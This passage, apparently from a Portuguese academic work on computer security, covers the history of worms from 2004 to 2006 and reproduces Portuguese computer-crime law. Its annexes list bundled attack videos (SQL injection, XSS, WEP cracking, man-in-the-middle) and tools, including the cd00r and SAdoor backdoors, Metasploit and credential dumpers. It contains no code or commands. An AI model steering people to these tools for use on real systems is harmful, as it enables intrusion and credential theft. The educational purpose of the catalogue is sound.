ofereceu uma recompensa de 250 000 dólares para quem desse informação sobre
quem tinha criado o worm para que estes fossem presos e condenados.
Este worm conseguiu fazer com que a performance global da Internet diminuísse
10% e que o carregamento dos sites demorasse mais 50% do tempo que era
normal.
A 18 de Janeiro surgiu ainda o worm Bagle que infectava sistemas do método
tradicional, ou seja através de um anexo recebido numa mensagem de e-mail. O
programa recebido em anexo percorria o disco à procura de endereços de e-mail
que pudesse usar para se propagar. Este worm á semelhança do anterior abre
uma porta no sistema que permite que o computador seja controlado
remotamente.
Em Maio surgiu o worm Sasser que não causava danos nos sistemas infectados
mas fazia com que estes ficassem lentos e que reiniciassem sem explicação. Este
worm ao contrário dos anteriores não se propaga através de nenhum anexo de e-
mail. Este worm infectava um sistema e em seguida procurava por sistemas que
189
se encontrassem desactualizados e infectava-os. Como o criador do vírus era um
adolescente alemão de 17 anos ele apenas foi condenado por sabotagem de
computadores e teve pena suspensa.
Surgiu o worm Netsky que se espalha através de e-mail e de programas de
partilha de ficheiros. Este worm para infectar um sistema apenas necessitava que
o e-mail em que ia fosse pré visualizado, ou seja, não era necessário que o anexo
fosse executado.
Neste ano surgiram ainda os primeiros vírus com capacidade para afectar o
sistema operativo de telemóveis, exemplos disso são os vírus Cabir e Skulls.
2005
Surgiu o vírus Bropia que tinha como característica principal a capacidade de se
transmitir pelo MSN Messenger. Este vírus replicava-se para todos os
utilizadores que se encontrassem on-line na lista de contactos de Messenger do
computador infectado e distribuía para estes uma mensagem com uma foto de
um frango de bikini.
Surgiu o vírus Sober que utilizava técnicas de engenharia social para enganar o
utilizador e levar este a executar o anexo da mensagem e instalar o vírus que
depois consumia os recursos de rede por causa de enviar informação para a rede
dos ficheiros que analisava. Este vírus propagava-se enviando uma cópia de si
para os endereços encontrados no computador.
Surgiu ainda o worm Mytob que enviava e-mail em massa com recurso ao seu
próprio motor SMTP para os endereços adquiridos no computador infectado e
falsifica o endereço de origem. Este worm desliga o antivírus e permite que seja
possível aceder ao computador do exterior.
2006
Surgiu o primeiro worm a infectar sistemas MACOSX conhecido como
OSX/Leap-A, este vírus chega através do programa de trocas de mensagens e
precisa que o utilizador execute o ficheiro para infectar. Este worm depois de
infectar um sistema replica-se enviando uma mensagem para a lista de amigos
do Ichat (Instant Messenger software) da vítima.
A 20 de Janeiro foi descoberto o worm Nyxem. Este worm replica-se como a
maioria através de e-mail. Tem como objectivo desligar software de segurança e
190
de partilha de ficheiros e destruir ficheiros como os que tenham a extensão de
ficheiros criados pela Suite da Microsoft Office.
Este worm activa-se no dia 3 de cada mês.
191
E. Legislação sobre informática
Desde alguns anos que as distâncias medem-se em segundos a partir de um imenso
espaço virtual graças ao aparecimento dos computadores, das telecomunicações, e da
correspondente Sociedade de Informação.
Com a facilidade com que as mensagens são enviadas ao destinatário e com a facilidade
de essas mesmas mensagens serem interceptadas na rede, apareceram também novas
formas de crime, neste caso crime on-line, contra a honra, consideração ou ao bom-
nome.
Sendo este um terreno fácil para abusadores, as regras criadas para combater os crimes
informáticos ainda são difusas e pouco interiorizadas.
Através da rápida circulação de informação na Internet e pelo seu carácter global, a
difamação via Internet é um facto cada vez mais real, podendo causar danos maiores e
dificilmente reparáveis do que nos meios ditos tradicionais. Um dos maiores interesses
que se pretende proteger contra o crime informático é a propriedade intelectual (os
direitos de autor).
Os textos jurídicos que transcrevem a lei da criminalidade informática debruçam-se
sobre o assunto á escala mundial. Em Portugal também existe alguma legislação relativa
a matéria.
Existem várias leis que tem algumas regras aplicáveis aos crimes informáticas ou
praticados via Internet.
O código penal tem algumas dessas regras. O código dos direitos de autor e direitos
conexos tem sido aplicado em tudo excepto em situações que abordem programas de
computador pois existe legislação própria para estes, que está prevista no Decreto-lei nº
252/94.
O Decreto-Lei Nº 62/2003 de 3 de Abril, diz respeito ao regime jurídico sobre
assinaturas digitais. Neste decreto é realçado o dever das entidades certificadoras que
emitem certificados qualificados, assim como a validade, eficácia e valor probatório dos
documentos electrónicos, assinatura electrónica e actividade de certificação de entidades
certificadoras portuguesas (artigo 1º). São referidos também três modalidades de
assinaturas electrónicas (assinatura electrónica, assinatura electrónica avançada e
192
assinatura electrónica qualificada) e a descrição dos seus diferentes graus de fiabilidade
e segurança.
A lei 109/91 de 17 de Agosto, conhecida como lei da criminalidade informática, diz
respeitos a danos de dados, acesso ilegítimo a sistemas ou redes, e actos de reprodução
não autorizada em geral.
Em anexo encontram-se os artigos do código penal que se aplicam á criminalidade
informática e a lei da criminalidade informática.
Código penal:
CÓDIGO PENAL
PARTE ESPECIAL
TÍTULO I
CAPÍTULO IV
Dos crimes contra a liberdade pessoal
Artigo 153º
Ameaça
1 - Quem ameaçar outra pessoa com a prática de crime contra a vida, a integridade
física, a liberdade pessoal, a liberdade e autodeterminação sexual ou bens patrimoniais
de considerável valor, de forma adequada a provocar-lhe medo ou inquietação ou a
prejudicar a sua liberdade de determinação, é punido com pena de prisão até 1 ano ou
com pena de multa até 120 dias.
2 - Se a ameaça for com a prática de crime punível com pena de prisão superior a 3
anos, o agente é punido com pena de prisão até 2 anos ou com pena de multa até 240
dias.
3 - O procedimento criminal depende de queixa.
Artigo 154º
Coacção
193
1 - Quem, por meio de violência ou de ameaça com mal importante, constranger outra
pessoa a uma acção ou omissão, ou a suportar uma actividade, é punido com pena de
prisão até 3 anos ou com pena de multa.
2 - A tentativa é punível.
3 - O facto não é punível:
a) Se a utilização do meio para atingir o fim visado não for censurável; ou
b) Se visar evitar suicídio ou a prática de facto ilícito típico.
4 - Se o facto tiver lugar entre cônjuges, ascendentes e descendentes ou adoptantes e
adoptados, ou entre pessoas que vivam em situação análoga à dos cônjuges, o
procedimento criminal depende de queixa.
Artigo 155º
Coacção grave
1 - Quando a coacção for realizada:
a) Por meio de ameaça com a prática de crime punível com pena de prisão superior a 3
anos; ou
b) Contra pessoa particularmente indefesa, em razão de idade, deficiência, doença ou
gravidez;
c) Contra uma das pessoas referidas na alínea j) do nº 2 do artigo 132º, no exercício das
suas funções ou por causa delas;
d) Por funcionário com grave abuso de autoridade; o agente é punido com pena de
prisão de 1 a 5 anos.
2 - A mesma pena é aplicável se, por força da coacção, a vítima ou a pessoa sobre a qual
o mal deve recair se suicidar ou tentar suicidar-se.
(Redacção da Lei nº 65/98, de 2 de Setembro).
CAPÍTULO VI
Dos crimes contra a honra
ARTIGO 180.º
(Difamação)
194
1- Quem, dirigindo-se a terceiro, imputar a outra pessoa, mesmo sob a forma de
suspeita, um facto, ou formular sobre ela um juízo, ofensivos da sua honra ou
consideração, ou reproduzir uma tal imputação ou juízo, é punido com pena de prisão
até 6 meses ou com pena de multa até 240 dias.
2- A conduta não é punível quando:
a) A imputação for feita para realizar interesses legítimos; e
b) O agente provar a verdade da mesma imputação ou tiver tido fundamento sério para,
em boa fé, a reputar verdadeira.
3- Sem prejuízo do disposto nas alíneas b), c) e d) do n.º 2 do artigo 31.º deste Código, o
disposto no número anterior não se aplica tratando-se da imputação de facto relativo à
intimidade da vida privada e familiar.
4- A boa fé referida na alínea b) do n.º 2 exclui-se quando o agente não tiver cumprido o
dever de informação, que as circunstâncias do caso impunham, sobre a verdade da
imputação.
5- Quando a imputação for de facto que constitua crime, é também admissível a prova
da verdade da imputação, mas limitada à resultante de condenação por sentença
transitada em julgado.
….
Lei da Criminalidade Informática:
Lei nº109/91 (Diário da República de 17 de Agosto de 1991)
CAPÍTULO I
Princípios Gerais
Artigo 1º
Legislação penal
Aos crimes previstos na presente lei são subsidiariamente aplicáveis as disposições do
código penal.
Artigo 2º
195
Definições
Para efeitos da presente lei, considera-se:
a) Rede informática - um conjunto de dois ou mais computadores interconectados.
b) Sistema informático - um conjunto constituído por um ou mais computadores,
equipamento periférico e suporte lógico que assegura o processamento de dados.
c) Programa informático - um conjunto de instruções capazes, quando inseridas num
suporte explorável em máquina, de permitir à máquina que tem por funções o
tratamento de informações indicar, executar ou produzir determinada função, tarefa ou
resultado.
d) Topografia - uma série de imagens entre si ligadas, independentemente do modo
como são fixadas ou codificadas, que representam a configuração tridimensional das
camadas que compõem um produto semicondutor e na qual cada imagem reproduz o
desenho ou parte dele de uma superfície do produto semicondutor, independentemente
da fase do respectivo fabrico.
e) Produto semicondutor - a forma final ou intermédia de qualquer produto, composto
por um substrato que inclua uma camada de material semicondutor e constituído por
uma ou várias camadas de material condutor, isolante ou semicondutor, segundo uma
disposição conforme a uma configuração tridimensional e destinada a cumprir,
exclusivamente ou não, uma função electrónica.
f) Intercepção - o acto destinado a captar informações contidas num sistema
automatizado de dados, através de dispositivos electromagnéticos, acústicos, mecânicos
ou outros.
g) Valor elevado - aquele que exceder 50 unidades de conta processual penal avaliadas
no momento da prática do facto.
h) Valor consideravelmente elevado - aquele que exceder 200 unidades de conta
processual penal avaliadas no momento da prática do facto.
Artigo 3º
Responsabilidade penal das
pessoas colectivas e equiparadas
1 - As pessoas colectivas, sociedades e meras associações de facto são penalmente
responsáveis pelos crimes previstos na lei, quando cometidos em seu nome e no
interesse colectivo pelos seus órgãos ou representantes.
196
2 - A responsabilidade é excluída quando o agente tiver actuado contra ordens ou
instruções expressas de quem de direito.
3 - A responsabilidade das entidades referidas no nº1 não exclui a responsabilidade
individual dos respectivos agentes.
4 - As entidades referidas no nº1 respondem solidariamente, nos termos da lei civil, pelo
pagamento das multas, indemnizações e outras prestações em que forem condenados os
agentes das infracções previstas na presente lei.
CAPÍTULO II
Dos crimes ligados à informática
Artigo 4º
Falsidade informática
1 - Quem, com intenção de provocar engano nas relações jurídicas, introduzir,
modificar, apagar ou suprimir dados ou programas informáticos ou, por qualquer outra
forma, interferir num tratamento informático de dados, quando esses dados ou
programas sejam susceptíveis de servirem como meio de prova, de tal modo que a sua
visualização produza os mesmos efeitos de um documento falsificado, ou, bem assim,
os utilize para os fins descritos, será punido com pena de prisão até cinco anos ou multa
de 120 a 600 dias.
2 - Nas mesmas penas incorre quem use documento produzido a partir de dados ou
programas informatizados que foram objecto dos actos referidos no número anterior,
actuando com intenção de causar prejuízo a outrem ou de obter um benefício ilegítimo
para si ou para terceiros.
3 - Se os factos referidos nos números anteriores forem praticados por funcionários no
exercício das suas funções, a pena é de prisão de um a cinco anos.
Artigo 5º
Dano relativo a dados ou
programas educativos
1 - Quem, sem para tanto estar autorizado, e actuando com intenção de causar prejuízo a
outrem ou de obter um benefício ilegítimo para si ou para terceiros, apagar, destruir, no
todo ou em parte, danificar, suprimir ou tornar não utilizáveis dados ou programas
informáticos alheios ou, por qualquer forma, lhes afectar a capacidade de uso, será
punido com pena de prisão até três anos ou pena de multa.
197
2 - A tentativa é punível.
3 - Se o dano causador for de valor elevado, a pena será a de prisão até cinco anos ou de
multa até 600 dias.
4 - Se o dano for de valor consideravelmente elevado, a pena será a de prisão de um a
dez anos.
5 - Nos casos previstos nos 1, 2 e 3 o procedimento penal depende da queixa.
Artigo 6º
Sabotagem informática
1 - Quem introduzir, alterar, apagar ou suprimir dados e programas informáticos ou, por
qualquer outra forma, interferir em sistema informático, actuando com intenção de
entravar ou perturbar o funcionamento de um sistema informático ou de comunicação
de dados à distância, será punido com pena de prisão até cinco anos ou com pena de
multa até 600 dias.
2 - A pena será a de prisão de um a cinco anos se o dano emergente da perturbação for
de valor elevado.
Artigo 7º
Acesso ilegítimo
1 - Quem, não estando a tanto autorizado e com intenção de alcançar, para si ou para
outrem, um benefício ou vantagem ilegítimos, de qualquer modo aceder a um sistema
ou rede informáticos será punido com pena de prisão até um ano ou com pena de multa
até 120 dias.
2 - A pena será a de prisão até três anos ou multa se o acesso for conseguido através de
violação de regras de segurança.
3 - A pena será a de prisão de um a cinco anos quando:
a) Através do acesso o agente tiver tomado conhecimento de segredo comercial ou
industrial ou de dados confidenciais, protegidos por lei;
b) O benefício ou vantagem patrimonial obtidos forem de valor consideravelmente
elevado.
4 - A tentativa é punível.
5 - Nos casos previstos nos 1, 2 e 4 o procedimento penal depende da queixa.
Artigo 8º
198
Intercepção ilegítima
1 - Quem, sem para tanto estar autorizado, e através de meios técnicos, interceptar
comunicações que se processam no interior de um sistema ou rede informáticos, a eles
destinadas ou deles provenientes, será punido com pena de prisão até três anos ou com
pena de multa.
2 - A tentativa é punível.
Artigo 9º
Reprodução ilegítima de
programa protegido
1 - Quem, não estando para tanto autorizado, reproduzir, divulgar ou comunicar ao
público um programa informático protegido por lei será punido com pena de prisão até
três anos ou com pena de multa.
2 - Na mesma pena incorre quem ilegitimamente reproduzir topografia de um produto
semicondutor ou a explorar comercialmente ou importar, para estes fins, uma topografia
ou um produto semicondutor fabricado a partir dessa topografia.
3 - A tentativa é punível.
Artigo 10º
Penas aplicáveis às pessoas
colectivas e equiparadas
1 - Pelos crimes previstos na presente lei são aplicáveis às pessoas colectivas e
equiparadas as seguintes penas principais:
a) Admoestação;
b) Multa;
c) Dissolução.
2 - Aplica-se a pena de admoestação sempre que, nos termos gerais, tal pena possa ser
aplicada à pessoa singular que, em representação e no interesse da pessoa colectiva ou
equiparada, tiver praticado o facto.
3 - Quando aplicar a pena de admoestação, o tribunal poderá aplicar cumulativamente a
pena acessória de caução de boa conduta.
4 - Cada dia de multa corresponde a uma quantia entre 10 000$0 e 200 000$00, que o
tribunal fixará em função da situação económica e financeira da pessoa colectiva ou
equiparada e dos seus encargos.
199
5 - Se a multa a uma entidade sem personalidade jurídica responderá por ela o
património comum e, na sua falta ou insuficiência, o património de cada um dos seus
associados.
6 - A pena de dissolução só será aplicada quando os titulares dos orgãos ou
representantes da pessoa colectiva ou sociedade tenham agido com a intenção, exclusiva
ou predominantemente, de, por meio dela, praticar os factos que integram os crimes
previstos na presente lei ou quando a prática reiterada desses factos mostre que a pessoa
colectiva ou sociedade está a ser utilizada para esse efeito, quer pelos seus membros,
quer por quem exerça a respectiva administração.
CAPÍTULO III
Penas acessórias
Artigo 11º
Penas acessórias
Relativamente aos crimes previstos no presente diploma, podem ser aplicadas as
seguintes penas acessórias:
a) Perda de bens;
b) Caução de boa conduta;
c) Interdição temporária do exercício de certas actividades ou profissões;
d) Encerramento temporário do estabelecimento;
e) Encerramento definitivo do estabelecimento;
f) Publicidade de decisão condenatória.
Artigo 12º
Perda de bens
1 - O tribunal pode decretar a perda dos materiais, equipamentos ou dispositivos
pertencentes à pessoa condenada que tiverem servido para a prática dos crimes previstos
no presente diploma.
2 - A perda de bens abrange o lucro ilícito obtido com a prática da infracção.
3 - Se o tribunal apurar que o agente adquiriu determinados bens, empregando na sua
aquisição dinheiro ou valores obtidos com a prática do crime, serão os mesmos também
abrangidos pela decisão que decretar a perda.
Artigo 13º
200
Caução de boa conduta
1 - A caução de boa conduta implica a obrigação de o agente depositar uma quantia em
dinheiro, a fixar entre 10 000$00 e 1 000 000$00, à ordem do tribunal, pelo prazo
fixado na decisão condenatória, por um período entre seis meses e dois anos.
2 - A caução de boa conduta deve, em regra, ser aplicada sempre que o tribunal condene
em pena cuja execução declare suspensa.
3 - A caução será declarada perdida a favor do Estado se o agente praticar, por meio de
informática, nova infracção no período fixado na sentença, pela qual venha a ser
condenado, sendo-lhe restituída no caso contrário.
Artigo 14º
Interdição temporária do exercício de
certas actividades ou profissões
1 - A interdição temporária do exercício de certas actividades ou profissões pode ser
decretada quando a infracção tiver sido cometida com flagrante e manifesto abuso da
profissão ou no exercício de actividade que dependa de um título público ou de uma
autorização ou homologação da autoridade pública.
2 - A duração da interdição tem um mínimo de dois meses e um máximo de dois anos.
3 - Incorre na pena de crime de desobediência qualificada quem, por si ou por interposta
pessoa, exercer a profissão ou a actividade durante o período da interdição.
Artigo 15º
Encerramento temporário
do estabelecimento
1 - O encerramento temporário do estabelecimento pode ser decretado por um período
mínimo de um mês e máximo de uma ano, quando o agente tiver sido condenado em
pena de prisão superior a seis meses ou em pena de multa superior a cem dias.
2 - Não obstam à aplicação desta pena a transmissão do estabelecimento ou a cedência
de direitos de qualquer natureza, relacionados com o exercício da profissão ou
actividade, efectuados após a instauração do processo ou depois de cometida a
infracção, salvo se, neste último caso, o adquirente se encontrar de boa-fé.
3 - O encerramento do estabelecimento nos termos do nº1 não constitui justa causa para
o despedimento de trabalhadores nem fundamento para a suspensão ou redução do
pagamento das respectivas remunerações.
201
Artigo 16º
Encerramento definitivo
do estabelecimento
1 - O encerramento definitivo do estabelecimento pode ser decretado quando o agente:
a) Tiver sido anteriormente condenado por infracção prevista neste diploma em pena de
prisão ou multa, se as circunstâncias mostrarem que a condenação ou condenações
anteriores não constituíram suficiente prevenção contra o crime;
b) Tiver anteriormente sido condenado em pena de encerramento temporário;
c) For condenado em pena de prisão por infracção prevista neste diploma, que tenha
determinado dano de valor consideravelmente elevado ou para um número avultado de
pessoas.
2 - Aplicam-se ao encerramento definitivo as disposições dos nos 2 e 3 do artigo
anterior.
Artigo 17º
Publicidade da decisão
1 - Quando o tribunal aplicar a pena de publicidade, será esta efectivada, a expensas do
condenado, em publicação periódica editada na área da comarca da prática da infracção
ou, na sua falta, em publicação da área da comarca mais próxima, bem como através da
fixação de edital por período não inferior a 30 dias, no próprio estabelecimento ou no
local do exercício da actividade, por forma bem visível pelo público.
2 - Em casos particularmente graves, nomeadamente quando a infracção importe lesão
de interesses não circunscritos a determinada área do território, o tribunal poderá
ordenar, também a expensas do condenado, que a publicidade da decisão seja feita no
Diário da República ou através de qualquer meio de comunicação social.
3 - A publicidade da decisão condenatória é feita por extracto, do qual constem os
elementos da infracção e as sanções aplicáveis, bem como a identificação dos agentes.
CAPÍTULO IV
Disposições finais
Artigo 18º
Processo de liquidação
202
1 - Transitada em julgado a decisão que aplicar a pena de dissolução, o Ministério
Público requer a liquidação do património, observando-se, com as necessárias
adaptações, o processo previsto na lei para a liquidação de patrimónios.
2 - O processo de liquidação corre no tribunal da condenação e por apenso ao processo
principal.
3 - Os liquidatários são sempre nomeados pelo juiz.
4 - O Ministério Público requer as providências cautelares que se mostrem necessárias
para garantir a liquidação.
Artigo 19º
Entrada em vigor
O presente diploma entra em vigor no prazo de 120 dias a contar da sua publicação.
Aprovada em 11 de Junho de 1991
203
F. Vídeos em anexo
Vídeos sobre buffer overflow:
1. Apresentação sobre buffer overflow e o uso da ferramenta ollydbg na
conferencia “20th Chaos Communication Congress”
2. Apresentação sobre buffer overflow dada na conferencia “The 22nd Chaos
Communication Congress (22C3)”
3. tutorial sobre buffer overflow feito por “IDSpinner”
Estes vídeos encontram-se dentro da pasta “Buffer overflow” que se encontra dentro da
pasta “vídeos”.
Da página “www.milw0rm.com” foram retirados os seguintes vídeos:
1. Demonstration of Exploitation of Hotmail XSS
2. Cross Site Scripting HQ 0 Day
3. Windows Server Rooting (Remote Desktop Connection)
4. 0-DAY Simple SQL Injection
5. Intruders D-Link Wireless Access Point Configuration Disclosure
6. vBulletin XSS Demonstration with Session Hijacking
7. CRLF (Carriage Return and Line Feed) Injection Demonstration
8. PHP Remote File Inclusion / Windows Backdoor
9. Heap Overflow Basics (Spanish)
10. (WBB Portal) Cross-Site Scripting Using Unsanitized jpg File
11. Multiple Websites Embedded SWF File Vulnerability Demonstration
12. Simple ASP Administrator SQL Injection by (ruiner_zer0)
13. JPortal CMS SQL Injection Exploit in Action by (ruiner_zer0)
14. phpBB Session Handling Authentication Bypass Demonstration
15. JSP 1 or 1 SQL Injection Demonstration by (ruiner_zer0)
16. Demonstration of Blind MySQL Injection (bsqlbf)
17. Demonstration of Blind MySQL Injection (mysql_bftools)
18. KF Hacking up Bluetooth with his WIDCOMM Code
19. Tunneling Exploits Through SSH (whoppix)
20. Cracking WEP in 10 Minutes (kismac)
204
21. Muts Showing WMF 0day in Action (metasploit)
22. Reverse Engineering with LD_PRELOAD
23. Qnix Demonstrating Exploration of Simple Buffer Overflows
24. Cracking WEP in 10 Minutes (whoppix)
Estes vídeos encontram-se dentro da pasta “milw0rm” que se encontra dentro da pasta
“vídeos”.
Da página “www.egocrew.de” foram retirados os seguintes vídeos:
1. client Side atack - MS05-016
2. Hacking netBios
3. How to sniffer
4. JPEG Exploit
5. Men-in-the-middle
Estes vídeos encontram-se dentro da pasta “egocrew” que se encontra dentro da pasta
“vídeos”.
Da página “http://www.irongeek.com” foram retirados os seguintes vídeos:
1. Start a session and get interactive commandline access to a remote Windows
box.avi
2. Install VNC Remotely.avi
3. Cain to ARP poison and sniff passwords.avi
4. Use Brutus to crack a box running telnet.avi
5. Boot from Phlak and run Chkrootkit to detect a compromise system.swf
6. Using NetworkActiv to sniff webpages on a Wi-Fi network.swf
7. Recover deleted cookies or other files using Restoration.swf
8. Look for deleted data on the slack space of a disk.swf
9. Basic Tools for Wardriving.swf
10. Cracking Syskey and the SAM on Windows Using Samdump2 and John.swf
11. Basic Nmap Usage.swf
12. Local Password Cracking Presentation for Indiana Higher Education
Cybersecurity Summit 2005.swf
13. A Quick and Dirty Intro to Nessus.swf
14. Sniffing VoIP Using Cain.swf
15. MAC Bridging with Windows XP and Sniffing.swf
205
16. Fun with Ettercap FiltersThe Movie (Airpwn like stuff).swf
17. Droop's Box Simple Pen-test Using Nmap, Nikto, Bugtraq, Nslookup and Other
Tools.swf
18. WiGLE, JiGLE and Google Earth Mapping out your wardrive.swf
19. Finding Rogue SMB File Shares On Your Network.swf
20. Nmap Video Tutorial 2 Port Scan Boogaloo.swf
21. Metasploit Flash Tutorial.swf
22. Firewalls with Sarah.avi
23. Using VirtualDub and a cheap webcam as a camcorder.avi
24. WMF File Code Execution Vulnerability With Metasploit.swf
25. SSH Dynamic Port Forwarding.swf
26. Using VMware Player to run Live CDs (Bootable ISOs).swf
27. Make your own VMs with hard drive for free- VMware Player + VMX
Builder.swf
28. Anonym.OS LiveCD with build in Tor Onion routing and Privoxy.swf
29. Adding Modules to a Slax or Backtrack Live CD from Windows.swf
30. Cracking Windows Passwords with BackTrack and the Online Rainbow Tables
at Plain-Text.info.swf
31. Irongeek's Guide to Buying a Used Laptop.avi
32. Network Printer Hacking Irongeek's Presentation at Notacon 2006.avi
33. Intro To Bluesnarfing By Williamc and Twinvega.swf
34. Intro To DD and Autopsy By Williamc and Twinvega.swf
35. Intro To TrueCrypt.swf
36. Using TrueCrypt With NTFS Alternate Data Streams.swf
37. Setting Firefox's User Agent To Googlebot.swf
38. Cracking MD5 Password Hashes .swf
39. Cracking MD5 Password Hashes .swf
40. Passive OS Fingerprinting With P0f And Ettercap.swf
41. Hosts File and Ad Blocking.swf
Estes vídeos encontram-se dentro da pasta “irongeek” que se encontra dentro da pasta
“vídeos”.
Da página “http://www.irongeek.com/i.php?page=security/vids-by-others” foram
retirados os seguintes vídeos:
206
1. 128 Bit Wep Cracking With Injection!
2. Airplay replay attack - no wireless client required
3. BackTrack LiveCD to HD Installation Instruction Video
4. Bluesnarfer attack tool demonstration
5. Bluesnarfing a Nokia 6310i hand set
6. Complete Hacking Video using Metasploit - Meterpreter
7. Cracking a 128 bit WEP key (Auditor)
8. Cracking a 128 Bit Wep key + entering the cridentials
9. Cracking WPA Networks (Auditor)
10. DoS attack against Windows FTP Server - DoS
11. Exploiting some bugs of tools used in Windows
12. Exploiting weaknesses of PPTP VPN (Auditor)
13. How to decrypt SSL encrypted traffic using a man in the middle attack (Auditor)
14. John The Ripper 1.7 password cracker Installation Instruction Video
15. MITM Hijacking
16. Sniffing logins and passwords
17. Snort Instruction video - howto install into backtrack
18. Telnet Bruteforce
19. Tunneling Exploits through SSH
20. WEP Cracking using Aireplay v2.2 Beta 7 (Whax 3.0)
21. WPA Cracking using Aireplay v2.2 Beta 7 (Whax 3.0)
Estes vídeos encontram-se dentro da pasta “crimeMachine” que se encontra dentro da
pasta “vídeos”. A pagina oficial dos vídeos encontra-se offline e é
“http://www.crimemachine.com”.
207
G. Ferramentas em anexo
Em seguida é apresentada a estrutura com que as instalações das aplicações foram
guardadas. As instalações das aplicações encontram-se dentro da pasta “Ferramentas”,
que se encontra na raiz do DVD e dentro da pasta ferramenta as instalações encontram-
se organizadas da seguinte forma:
1 Backdoor:
11..11 cd00r.c, is a working proof-of-concept code for a not listening remote shell
on UN*X systems.
11..22 SAdoor, a non listening remote shell and execution server the
implementation of SAdoor was influed by FX's cd00r.
2 Bluetooth :
22..11 Blooover is a tool that is intended to serve as an audit tool that people can
use to check whether their phones and phones of friends and employees have
security flaws.
22..22 Redfang, is a tool that brute-forces Bluetooth BD addresses in order to
communicate with devices in non-discoverable mode.
22..33 BlueScanner, is a Bluetooth discovery tool for Windows that uses
Microsoft's Bluetooth stack.
3 Criptografia e estenografia:
33..11 Steganography, Steganography enables you to hide and encrypt files within
other files (carriers) such as picture or sound files.
4 dns spoofing:
44..11 WinDNSSpoof, This tool is a simple DNS ID Spoofer for Windows 9x/2K.
5 exploit's:
55..11 Metasploit 3.0, This is the Metasploit Project. The goal is to provide useful
information to people who perform penetration testing, IDS signature
development, and exploit research.
55..22 SecurityForest, The ExploitTree is a categorized collection of ALL
available exploit code.
6 footprinting and scanning:
208
66..11 IRS, Many servers and network devices like routers and switches provides
features like ACLs, IP Filters, Firewall rules and so on to give access to their
Services only to particular network addresses (usually Administrator's
workstations).The main purpose of this program is to scan for IP restrictions set
for a particular service on a host.
66..22 Creddump, Credential Manager is a new SSO solution that Microsoft offers
in Windows Server 2003 and Windows XP to provide a secured store for
credential information. This program dumps that information to you.
66..33 p0f, performs passive OS detection by watching SYN packets with tcpdump.
66..44 Winfingerprint, is a Win32 Host/Network Enumeration Scanner.
66..55 NetBrute Scanner 1.0.0.7, Conjunto de três ferramentas para detectar
vulnerabilidades em redes. O NetBrute varre a rede em busca de pastas e
impressoras compartilhadas. O PortScan detecta portas TCP abertas nos
computadores. Já o WebBrute tenta quebrar as senhas de autenticação de um site
da web, usando o método força bruta. Assim, o administrador pode identificar e
corrigir as eventuais senhas fracas.
66..66 LanSpy v2.0, Get all the info you need to know about a remote computer or
your local area network.
66..77 SuperScan v4.0, A newer version of the famous scanner. Includes UDP
scanner and vulnerabilities scanner.
66..88 Neotrace PRO v3.25, Neo trace is a great tracer, it shows you the world
map and the countries/citys the data goes through tracing the target.
66..99 Net Scan Tools v4.2, Professional IP scanning tool used by ISPs and other
companies.
66..1100 ProPort v2.2, Use this program to see what open ports you have localy, like
an advanced netstat, or a firewall, it also monitors some ports and allows to
terminate any connection.
66..1111 Sam Spade, SamSpade provides a consistent GUI and implementation for
many handy network query tasks. It was designed with tracking down spammers
in mind, but can be useful for many other network exploration, administration,
and security tasks. It includes tools such as ping, nslookup, whois, dig, traceroute,
finger, raw HTTP web browser, DNS zone transfer, SMTP relay check, website
search, and more. Non-Windows users can enjoy online versions of many of their
tools.
209
66..1122 SolarWinds, The SolarWinds Network Management Toolset contains
applications ranging from Configuration Management, Bandwidth and Network
Performance Monitoring to Discovery and Fault Management
66..1133 Microsoft Baseline Security Analyze, Microsoft Baseline Security Analyzer
(MBSA) is an easy-to-use tool designed for the IT professional that helps small-
and medium-sized businesses determine their security state in accordance with
Microsoft security recommendations and offers specific remediation guidance.
66..1144 Belarc Advisor, The Belarc Advisor builds a detailed profile of your
installed software and hardware, missing Microsoft hotfixes, anti-virus status, CIS
(Center for Internet Security) benchmarks, and displays the results in your Web
browser.
66..1155 Look@LAN, Network Monitor, a free solution for both personal and
commercial use, is an advanced network monitor, which allows you to monitor
your network in few clicks.
66..1166 Medas VNS, is a SNMP-based powerful network management software.
With Medas VNS you can control as many nodes as you want; a node is a device
that supports SNMP: computer, router, HUB, switch, firewall, NAT, printer, etc
etc. Medas VNS gives you detailed visual network statistics about any node that
supports SNMP, and even of the computer on wich you have installed the
software, without having to install SNMP on it.
66..1177 WUPS - Windows UDP Port Scanner, An UDP port scanner for Windows.
All port scanners for Windows only scanned TCP ports before I wrote this one.
66..1188 Wikto, it tries to find interesting directories and files on the web site, it looks
for sample scripts that can be abused or finds known vulnerabilities in the web
server implementation itself.
7 Foundstone:
77..11 Assessment Utilities:
7.1.1 FSCrack - GUI for John the Ripper
7.1.2 CredDigger, Foundstone CredDigger™ is a tool that attempts to gather
data to assist with penetration testing on a corporate network by
determining every host on which a given set of user credentials is valid,
while also building a database of all user ID’s through various means and
protocols.
210
7.1.3 Fpipe, FPipe is a source port forwarder/redirector. It can create a TCP or
UDP stream with a source port of your choice. This is useful for getting past
firewalls that allow traffic with source ports of say 23, to connect with
internal servers.
77..22 Forensic Tools
7.2.1 DumpAutoComplete, This application will search for the default Firefox
profile of the user who runs the tool and dump the AutoComplete cache in
XML format to standard output.
7.2.2 Pasco, An Internet Explorer activity forensic analysis tool.
7.2.3 Galleta, A Internet Explorer Cookie Forensic Analysis Tool.
7.2.4 Rifiuti, A Recycle Bin Forensic Analysis Tool.
7.2.5 NTLast™ , Security audit tool for Windows NT.
7.2.6 Forensic Toolkit™, Tools to help examine NTFS for unauthorized activity.
7.2.7 ShoWin™, Show information about Windows. Reveal passwords etc.
7.2.8 PatchIt™, A binary file byte-patching program.
7.2.9 Vision™, Reports all open TCP and UDP ports and maps them to the
owning process or application.
77..33 Foundstone SASS Tools:
7.3.1 Hacme Casino™, Foundstone Hacme Casino™ is a learning platform for
secure software development and is targeted at software developers,
application penetration testers, software architects, and anyone with an
interest in application security. This extensible online casino platform is
written using Ruby on Rails and demonstrates the security problems that can
potentially arise in these applications.
7.3.2 CodeScout™, Foundstone CodeScout™ is a free tool developed by
Foundstone to help application developers and code reviewers validate
adherence to coding best practices and determine the complexity and scope
of a code base. The tool is a plugin that comes with a set of default rules as
well as functionality allowing power users to define their own rules. This
tool helps users automate part of the code review process by identifying
potential hot-spots in the code base and provides useful metrics about to size
and scope of the source code of a project.
7.3.3 HackPack™, Foundstone HackPack™ is a tool designed to aid security
professionals in keeping up with changes and updates to security software.
211
The tool offers a simple interface to a large variety of security tools. Much
like an RSS reader for web page updates, HackPack shows a user a list of all
the tools they want to track, along with current versions and links to
download locations. This allows users to stay on top of which tools are being
